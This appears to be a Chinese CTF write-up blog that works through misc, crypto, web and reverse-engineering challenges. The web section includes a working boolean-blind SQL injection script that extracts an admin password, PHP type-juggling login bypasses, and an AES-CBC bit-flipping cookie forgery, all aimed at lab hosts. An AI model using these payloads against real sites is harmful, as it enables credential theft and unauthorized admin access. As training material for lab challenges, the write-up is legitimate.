Misc simple~ MVWDAYLEMMZTSNBZMJQTKOLBMJRGKNJWMUYDKN3GGIYGMOBYGNSQ
因为是大写字母+数字,猜测是base32,解密得
el0adc3949ba59abbe56e057f20f883e
有32个字符,猜测是MD5,但是解不出来,题目中说仔细点就好了,突然发现字符串中有一个l
把l替换为1。e10adc3949ba59abbe56e057f20f883e
解密得:123456
Decipher ciphertext 下载123.pcapng,用wireshark打开,找到了一个可以的http头
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /index.php HTTP/1.1 Host: 192.168.146.129 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: E=17;P=473398607161;Q=4511491; Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 20 C=914974633918197511HTTP/1.1 404 Not Found Date: Tue, 18 Apr 2017 09:18:04 GMT Server: Apache/2.4.10 (Win32) OpenSSL/0.9.8zb PHP/5.3.29 Content-Length: 207 Connection: close Content-Type: text/html; charset=iso-8859-1 
根据rsa的提示,用工具解密
Not only a picture 用binwalk分析没有什么东西,可能是lsb隐写。
http://www.tuicool.com/articles/qINzyum 
用Stegsolve将最低位的数据提取出来。
得到一个带密码的zip,用ue打开,发现有很多空格带了一个careful。
后来发现是zip里的注释,猜测careful就是zip的密码,解码得到flag
Prime 没得说,直接脚本求解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include  <bits\stdc++.h>  using  namespace  std;bool  isPrime (int  n)     if (n<=1 )         return  false ;     for  (int  i=2 ;i<sqrt (n)+1 ;i++)         if (n%i==0 )             return  false ;     return  true ; } int  main ()     int  n[1111 ];     int  i,k=1 ;     for (i=123456789 ;i<=987654321 ;i++)     {         int  a=i,num=0 ;         while (a!=0 )         {             num+=a%10 ;             a/=10 ;         }                  if (isPrime (i)&&isPrime (num))         {             k++;             n[k]=i;                      }         if (k>800 ) break ;     }     int  ans=n[123 ]+n[456 ]+n[789 ];     cout<<ans<<endl; } 
Web Simple 代码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if  (isset ($_GET ['username' ]) && isset ($_GET ['password' ])){         $conn  = mysql_connect ("localhost" , "?????" , "??????" ) or  die ("error" .mysql.error ());         mysql_select_db ("????" , $conn ) or  die ("access error!" .mysql.error ());         $username  = addslashes ($_GET ['username' ]);          $sql  = "SELECT `password` FROM `user` WHERE `username`='{$username} '" ;         $res  = mysql_query ($sql , $conn );             if  ($res ['password' ] === md5 ($_GET ['password' ]))          {                        }         else           {             echo  "login failed!" ;         }     } 
再次证明数组是个好东西。/?username[]=admin&password[]=admin&submit=Submit
1 2 3 4 5 6 7 8 9 10 11 12 13 if  (isset ($_POST ['message' ])) {    $message  = json_decode ($_POST ['message' ]);     $key  ="*********" ;     if  ($message ->key == $key ) {         echo  "flag" ;     }      else  {         echo  "fail" ;     }  }  else {      echo  "~~~~" ;  } 
将参数json编码,但是还是存在弱类型。post: message={"key":true}
Login 运用fuzz测试注入过滤:http://www.freebuf.com/sectool/76861.html https://zhuanlan.zhihu.com/p/24756501 
bool型盲注,我理解为运用布尔型的函数和对应的显示界面,来判断自己查询的部分是否正确。
mid函数是sql中用于从文本字段中提取字符串,题目中空格可以用()来绕过。
如,查询admin的passowrd的第一位值,随便输入一个
会提示用户名不存在,这时我们知道,我们猜测的位是不对的,也就是说,l并不是password的第一位。
当输入到d时,发现返回界面变成了密码错误,这说明d这个字符是password的第一位。
所以可以用python脚本来查询整个password的每一位。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  requests url = 'http://192.168.139.241:10086/'   def  check (payload ):        postdata = {'username' :payload,'password' :'xx' }         r = requests.post(url, postdata).content         return  'password'  in  r password  = ''   s = '0123456789abcdef'  for  i in  range (1 ,33 ):        for  c in  s:                 payload = "\'or(mid((select(password)from(admin))," +str (i)+",1)=\'" +c+"\')#"                  if  check(payload):                         password += c                         break          print  password 
Be admin 查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 define ("SECRET_KEY" , "???" );define ("IV" , "???" );define ("METHOD" , "aes-128-cbc" );$v  = '1234567890abcdef;admin=0' ;$enc  = bin2hex (openssl_encrypt ($v , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, IV));setcookie ('user' ,$enc );$b  = isset ($_COOKIE ['user' ])?$_COOKIE ['user' ]:$enc ;$user  = openssl_decrypt (hex2bin ($b ), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, IV);$admin  = substr ($user ,-1 );if ($admin  == 1 ){    include  'flag.php' ;     echo  $flag ; } 
参考资料:http://wooyun.tangscan.cn/static/drops/tips-7828.html 
1 2 3 4 5 6 7 8 9 10 11 import  requestsenc = '13d7e9de1084cba540c14b500f86d80d1d17d34544d48c46a41d2e09bb5b1bc3' .decode('hex' ) enc = enc[:7 ]+chr (ord (enc[7 ]) ^ ord ('0' ) ^ ord ('1' ))+enc[8 :] enc = enc.encode('hex' ) print (enc)r = requests.get('http://192.168.139.241:10087/' , cookies = {'user' :enc}) print (r.content)
得到flag。
Reverse Simple 将文件拖入ida,找到了一些关键字符串,反编译main函数,发现存在check函数。
进入check函数,分析算法。
字符串进入check函数中,先进行了字母大小写的转换,大写变小写,小写变大写。
接着进入swap函数,相当于将字符串进行了反转。
最后return中,判断出了字符串的长度,运算后的字符串。
得到flag:HAPPY2017
王者荣耀 先打开apk,文本框随便输入,点击,发现不能一起开黑啥的。
反编译apk,直接进入MainActivity。
发现点击按钮后进入了check函数,但是并没有在反编译的smail中。
找到lib中的so文件,放入ida中反编译,代码却没有看懂orz。